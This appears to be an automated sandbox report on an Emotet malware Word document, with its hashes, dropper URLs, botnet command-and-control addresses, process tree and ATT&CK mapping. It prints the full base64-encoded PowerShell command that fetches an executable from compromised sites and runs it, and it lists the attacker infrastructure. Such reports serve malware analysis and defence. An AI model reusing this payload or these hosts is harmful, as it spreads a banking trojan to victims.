Behavioral Report

Analysis

max time kernel
26s
max time network
28s
platform
windows10_x64
resource
win10
submitted
14-10-2020 23:01

Sharing

Copy URL

Twitter E-mail

Report Files Registry Network Processes Mutex Misc

General

Target

emotet_e1_a49020010a8e7d4bc405bcc23b9351dc19467c3d466e2d903c6df903668d51cc_2020-10-14__230041998141._doc.doc
Size

132KB
MD5

40409631a9fb83e1ab8d02c2f8fa216d
SHA1

e6b8170c2ca200cb38d26a9ad836bc596d38ba6d
SHA256

a49020010a8e7d4bc405bcc23b9351dc19467c3d466e2d903c6df903668d51cc
SHA512

b83ee57533375a8642b71463cbdf27f9ccfdea2d71ed90f21c4bbe4942276c2519446d0c15548d36d985dd9b999be0f946934a8261b5e1a85a8adafc6c89e3ea

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://newcarturkiye.com/wp-admin/Sbp/

exe.dropper

http://lilianwmina.com/wp-includes/Y/

exe.dropper

http://hbmonte.com/wp-content/wer/

exe.dropper

http://thewakestudio.com/wp-admin/3D/

exe.dropper

http://formedbyme.com/wp-content/3e/

exe.dropper

http://unitedway.giving.agency/sys-cache/XnT/

exe.dropper

http://partners.ripplealpha.com/data/ultimatemember/L/

Extracted

Family

emotet

Botnet

Epoch1

188.157.101.114:80

192.175.111.214:8080

95.85.33.23:8080

192.232.229.54:7080

181.30.61.163:443

186.70.127.199:8090

200.127.14.97:80

70.169.17.134:80

24.232.228.233:80

172.104.169.32:8080

50.28.51.143:8080

177.73.0.98:443

149.202.72.142:7080

37.187.161.206:8080

202.29.239.162:443

213.197.182.158:8080

202.134.4.210:7080

190.24.243.186:80

201.213.177.139:80

105.209.235.113:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

POwersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	3252	POwersheLL.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral1/memory/976-13-0x0000000000710000-0x000000000072F000-memory.dmp	emotet
behavioral1/memory/976-14-0x0000000000730000-0x000000000074E000-memory.dmp	emotet
behavioral1/memory/1644-17-0x0000000002040000-0x000000000205F000-memory.dmp	emotet
behavioral1/memory/1644-18-0x0000000002060000-0x000000000207E000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

Processes:

POwersheLL.exe

flow pid process

14 1780 POwersheLL.exe
16 1780 POwersheLL.exe
18 1780 POwersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

V9ofyxp.execredprovslegacy.exe

pid process

976 V9ofyxp.exe
1644 credprovslegacy.exe
Drops file in System32 directory 1 IoCs

Processes:

V9ofyxp.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\ole2nls\credprovslegacy.exe V9ofyxp.exe

flow	pid	process
14	1780	POwersheLL.exe
16	1780	POwersheLL.exe
18	1780	POwersheLL.exe

pid	process
976	V9ofyxp.exe
1644	credprovslegacy.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\ole2nls\credprovslegacy.exe	V9ofyxp.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

TTPs:

Query Registry System Information Discovery

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

TTPs:

Query Registry System Information Discovery

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3612 WINWORD.EXE
3612 WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

POwersheLL.execredprovslegacy.exe

pid	process
1780	POwersheLL.exe
1780	POwersheLL.exe
1780	POwersheLL.exe
1644	credprovslegacy.exe
1644	credprovslegacy.exe
1644	credprovslegacy.exe
1644	credprovslegacy.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

POwersheLL.exe

description pid process

Token: SeDebugPrivilege 1780 POwersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1780	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXEV9ofyxp.execredprovslegacy.exe

pid	process
3612	WINWORD.EXE
3612	WINWORD.EXE
3612	WINWORD.EXE
3612	WINWORD.EXE
3612	WINWORD.EXE
3612	WINWORD.EXE
3612	WINWORD.EXE
3612	WINWORD.EXE
3612	WINWORD.EXE
976	V9ofyxp.exe
1644	credprovslegacy.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

POwersheLL.exeV9ofyxp.exe

description	pid	process	target process
PID 1780 wrote to memory of 976	1780	POwersheLL.exe	V9ofyxp.exe
PID 1780 wrote to memory of 976	1780	POwersheLL.exe	V9ofyxp.exe
PID 1780 wrote to memory of 976	1780	POwersheLL.exe	V9ofyxp.exe
PID 976 wrote to memory of 1644	976	V9ofyxp.exe	credprovslegacy.exe
PID 976 wrote to memory of 1644	976	V9ofyxp.exe	credprovslegacy.exe
PID 976 wrote to memory of 1644	976	V9ofyxp.exe	credprovslegacy.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a49020010a8e7d4bc405bcc23b9351dc19467c3d466e2d903c6df903668d51cc_2020-10-14__230041998141._doc.doc" /o ""

Checks processor information in registry
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx

PID:3612

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe

POwersheLL -ENCOD JABPAGMAYQB2AHAAOAAzAD0AWwBjAGgAYQByAF0ANAAyADsAJABVADYAOQBiAGoANAAwAD0AKAAoACcAQgBuACcAKwAnAHoAYgB2ACcAKQArACcAOABsACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAEUAcgBwAHIATwBGAGkATABlAFwAQgAyADAARABZAGEAawBcAG8AdgBQAFEASABvADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAHUAUgBJAHQAYABZAHAAYABSAE8AVABgAG8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAxADIAJwArACcALAAnACkAKwAnACAAJwArACcAdABsACcAKwAnAHMAMQAnACsAKAAnADEALAAgAHQAbAAnACsAJwBzACcAKQApADsAJABDAHUANgB5AGgAMQB6ACAAPQAgACgAJwBWACcAKwAoACcAOQBvAGYAJwArACcAeQAnACkAKwAnAHgAcAAnACkAOwAkAEgAcQBkAHcAbABqAGkAPQAoACcARwBiACcAKwAoACcANAAnACsAJwB1ADAAMQAnACkAKwAnAHMAJwApADsAJABIAHcAegBxADgAeAAxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAAnACsAJwB9AEIAMgAwACcAKwAnAGQAeQAnACsAJwBhACcAKwAnAGsAewAwAH0ATwB2AHAAcQBoAG8ANAB7ADAAfQAnACkAIAAgAC0ARgAgACAAWwBjAEgAYQBSAF0AOQAyACkAKwAkAEMAdQA2AHkAaAAxAHoAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABVAHQAYgBrAGwAaQA2AD0AKAAnAEcAJwArACgAJwBhAHcAJwArACcAagBhAHkAJwApACsAJwBsACcAKQA7ACQAQQBjAGwAegBiADcANgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQALgBXAGUAYgBjAEwAaQBFAE4AVAA7ACQAUQB0ADkAYgB3AGUAcQA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBuACcAKwAnAGUAJwApACsAKAAnAHcAJwArACcAYwBhACcAKQArACcAcgAnACsAKAAnAHQAdQByAGsAaQAnACsAJwB5ACcAKwAnAGUALgBjACcAKwAnAG8AbQAvAHcAcAAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwBTAGIAcAAnACsAJwAvACcAKwAnACoAaAAnACkAKwAnAHQAdAAnACsAJwBwACcAKwAoACcAOgAvAC8AJwArACcAbAAnACkAKwAoACcAaQAnACsAJwBsAGkAJwArACcAYQBuAHcAbQBpAG4AYQAuAGMAJwApACsAJwBvACcAKwAnAG0AJwArACgAJwAvAHcAJwArACcAcAAtACcAKQArACcAaQAnACsAKAAnAG4AYwAnACsAJwBsAHUAZABlACcAKQArACgAJwBzAC8AJwArACcAWQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AaABiAG0AJwArACcAbwBuAHQAJwApACsAJwBlACcAKwAnAC4AYwAnACsAJwBvACcAKwAnAG0ALwAnACsAKAAnAHcAcAAnACsAJwAtACcAKQArACcAYwAnACsAKAAnAG8AJwArACcAbgAnACsAJwB0AGUAbgB0ACcAKQArACcALwAnACsAJwB3ACcAKwAnAGUAJwArACcAcgAnACsAKAAnAC8AKgAnACsAJwBoACcAKwAnAHQAdABwACcAKwAnADoALwAvAHQAJwApACsAKAAnAGgAZQAnACsAJwB3AGEAawAnACsAJwBlAHMAJwApACsAKAAnAHQAdQAnACsAJwBkAGkAJwApACsAJwBvAC4AJwArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AdwAnACsAKAAnAHAAJwArACcALQBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4ALwAnACsAJwAzAEQAJwArACgAJwAvACoAaAB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACcALwAnACsAJwAvAGYAJwArACcAbwByACcAKwAoACcAbQAnACsAJwBlAGQAYgB5AG0AZQAuACcAKwAnAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHcAcAAnACsAJwAtAGMAbwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0ACcAKQArACcALwAzACcAKwAoACcAZQAvACoAaAAnACsAJwB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAvACcAKwAnAC8AdQAnACkAKwAoACcAbgBpAHQAJwArACcAZQAnACkAKwAnAGQAdwAnACsAKAAnAGEAeQAnACsAJwAuACcAKQArACgAJwBnAGkAdgBpACcAKwAnAG4AZwAuACcAKwAnAGEAZwAnACkAKwAoACcAZQBuACcAKwAnAGMAJwApACsAJwB5ACcAKwAnAC8AcwAnACsAJwB5ACcAKwAoACcAcwAtACcAKwAnAGMAYQBjACcAKQArACcAaABlACcAKwAnAC8AJwArACcAWAAnACsAJwBuACcAKwAoACcAVAAnACsAJwAvACcAKwAnACoAaAB0AHQAcAA6ACcAKQArACcALwAvACcAKwAnAHAAJwArACcAYQByACcAKwAoACcAdABuACcAKwAnAGUAcgBzAC4AcgAnACkAKwAoACcAaQBwACcAKwAnAHAAbABlACcAKQArACgAJwBhAGwAcABoACcAKwAnAGEALgBjAG8AJwApACsAKAAnAG0ALwBkACcAKwAnAGEAJwArACcAdABhAC8AJwApACsAKAAnAHUAJwArACcAbAB0AGkAbQAnACkAKwAoACcAYQB0AGUAbQBlAG0AYgAnACsAJwBlACcAKwAnAHIALwBMACcAKQArACcALwAnACkALgAiAHMAUABsAGAAaQBUACIAKAAkAE8AYwBhAHYAcAA4ADMAKQA7ACQATAA1ADMANQB6AG0AZQA9ACgAKAAnAEQAcwAnACsAJwAzAHUAZQAnACkAKwAnADMAJwArACcAcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABFADEAMwBqAGUAdwBzACAAaQBuACAAJABRAHQAOQBiAHcAZQBxACkAewB0AHIAeQB7ACQAQQBjAGwAegBiADcANgAuACIAZABgAE8AVwBuAEwAbwBBAGQAYABGAGkAYABMAGUAIgAoACQARQAxADMAagBlAHcAcwAsACAAJABIAHcAegBxADgAeAAxACkAOwAkAEwAZQBtAGYAdgBmADQAPQAoACgAJwBQAHEAbQAnACsAJwBrACcAKQArACcAeAAnACsAJwAwAGcAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEgAdwB6AHEAOAB4ADEAKQAuACIAbABlAGAATgBnAGAAVABIACIAIAAtAGcAZQAgADMAMgAwADcANAApACAAewAmACgAJwBJAG4AJwArACcAdgAnACsAJwBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABIAHcAegBxADgAeAAxACkAOwAkAFAAZQBlADAAegB2AHEAPQAoACcARwAnACsAKAAnAGYANABxAGsAJwArACcAdABzACcAKQApADsAYgByAGUAYQBrADsAJABNADUANwBsAGcAdwBrAD0AKAAnAFMAJwArACgAJwBpAGoAJwArACcAYQA1ACcAKwAnAGYAZwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQA2AHMAeABrAGYAMgA9ACgAKAAnAFgAMwBsAGEAXwAnACsAJwB3ACcAKQArACcAbAAnACkA

Process spawned unexpected child process
Blacklisted process makes network request
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory

PID:1780

C:\Users\Admin\B20dyak\Ovpqho4\V9ofyxp.exe

"C:\Users\Admin\B20dyak\Ovpqho4\V9ofyxp.exe"

Executes dropped EXE
Drops file in System32 directory
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory

PID:976

C:\Windows\SysWOW64\ole2nls\credprovslegacy.exe

"C:\Windows\SysWOW64\ole2nls\credprovslegacy.exe"

Executes dropped EXE
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx

PID:1644

Network

MITRE ATT&CK Matrix

Collection

Command and Control

Credential Access

Defense Evasion

Discovery

Query Registry

T1012

System Information Discovery

T1082

Execution

Exfiltration

Impact

Initial Access

Lateral Movement

Persistence

Privilege Escalation

Replay Monitor

00:00 00:00

Downloads

C:\Users\Admin\B20DYak\ovPQHo4\V9ofyxp.exe
MD5
9df4614f28b9b04ca2e2416d9344289f

SHA1
70372b65059420f08691667078e8bf3555554ec9

SHA256
7b1a3968b858a99720918ec4791ea586d8f9466be36f0defc669189398a6901d

SHA512
0466e00ca4eb065f2f19acb895378c4a01efda52fd20d02cc44f7e5fed2929454612897aaedf4866b9d388bba050639c6e39b5b62bd8fa70f399fe5a085497c1

Download Submit
C:\Users\Admin\B20dyak\Ovpqho4\V9ofyxp.exe
MD5
9df4614f28b9b04ca2e2416d9344289f

SHA1
70372b65059420f08691667078e8bf3555554ec9

SHA256
7b1a3968b858a99720918ec4791ea586d8f9466be36f0defc669189398a6901d

SHA512
0466e00ca4eb065f2f19acb895378c4a01efda52fd20d02cc44f7e5fed2929454612897aaedf4866b9d388bba050639c6e39b5b62bd8fa70f399fe5a085497c1

Download Submit
C:\Windows\SysWOW64\ole2nls\credprovslegacy.exe
MD5
9df4614f28b9b04ca2e2416d9344289f

SHA1
70372b65059420f08691667078e8bf3555554ec9

SHA256
7b1a3968b858a99720918ec4791ea586d8f9466be36f0defc669189398a6901d

SHA512
0466e00ca4eb065f2f19acb895378c4a01efda52fd20d02cc44f7e5fed2929454612897aaedf4866b9d388bba050639c6e39b5b62bd8fa70f399fe5a085497c1

Download Submit
memory/976-10-0x0000000000000000-mapping.dmp

Download
memory/976-14-0x0000000000730000-0x000000000074E000-memory.dmp

Filesize
120KB

Download
memory/976-13-0x0000000000710000-0x000000000072F000-memory.dmp

Filesize
124KB

Download
memory/1644-18-0x0000000002060000-0x000000000207E000-memory.dmp

Filesize
120KB

Download
memory/1644-17-0x0000000002040000-0x000000000205F000-memory.dmp

Filesize
124KB

Download
memory/1644-15-0x0000000000000000-mapping.dmp

Download
memory/1780-8-0x00000185DC9E0000-0x00000185DC9E1000-memory.dmp

Filesize
4KB

Download
memory/1780-9-0x00000185DCB90000-0x00000185DCB91000-memory.dmp

Filesize
4KB

Download
memory/1780-7-0x00007FFA14880000-0x00007FFA1526C000-memory.dmp

Filesize
9MB

Download
memory/3612-0-0x00007FFA1BCF0000-0x00007FFA1C3B6000-memory.dmp

Filesize
6MB

Download
memory/3612-6-0x000001E3F6BA2000-0x000001E3F6BA7000-memory.dmp

Filesize
20KB

Download
memory/3612-5-0x000001E3F6BA2000-0x000001E3F6BA7000-memory.dmp

Filesize
20KB

Download
memory/3612-4-0x000001E3F6BA2000-0x000001E3F6BA7000-memory.dmp

Filesize
20KB

Download
memory/3612-3-0x000001E3F6BA2000-0x000001E3F6BA7000-memory.dmp

Filesize
20KB

Download
memory/3612-2-0x000001E3F4376000-0x000001E3F437B000-memory.dmp

Filesize
20KB

Download
memory/3612-1-0x000001E3F6995000-0x000001E3F699A000-memory.dmp

Filesize
20KB

Download